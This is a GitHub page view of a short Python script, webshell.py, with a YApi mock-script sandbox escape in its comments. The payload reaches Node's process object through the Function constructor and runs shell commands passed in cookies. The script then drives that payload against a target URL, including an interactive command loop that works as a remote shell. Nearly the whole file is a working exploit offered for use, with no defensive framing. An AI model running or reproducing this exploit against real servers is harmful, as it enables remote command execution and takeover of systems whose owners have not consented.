-
Notifications
You must be signed in to change notification settings - Fork 4
/
webshell.py
39 lines (35 loc) · 1.07 KB
/
webshell.py
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
# Author: Esonhugh
# Date: 2022/5/14
# MockScript Came from: https://github.com/YMFE/yapi/issues/2099
# MockJson =
# const sandbox = this
# const ObjectConstructor = this.constructor
# const FunctionConstructor = ObjectConstructor.constructor
# const myfun = FunctionConstructor('return process')
# const process = myfun()
# mockJson = process.mainModule.require("child_process").execSync("cd "+cookie.dir+";"+cookie.cmd).toString()
import requests
import sys
targeturl = ""
targetdir = "."
targetcmd = ""
def main():
bad_cookie = {
"dir": targetdir,
"cmd": targetcmd,
}
print(bad_cookie)
r = requests.get(targeturl,cookies=bad_cookie)
print(r.text)
if __name__ == '__main__':
targeturl = sys.argv[1]
targetdir = sys.argv[2]
if targetdir == "-i":
while True:
targetcmd = input("Command:")
if targetcmd.split(" ")[0] == "cd":
targetdir = targetcmd[2:]
main()
else:
targetcmd = " ".join(sys.argv[3:])
main()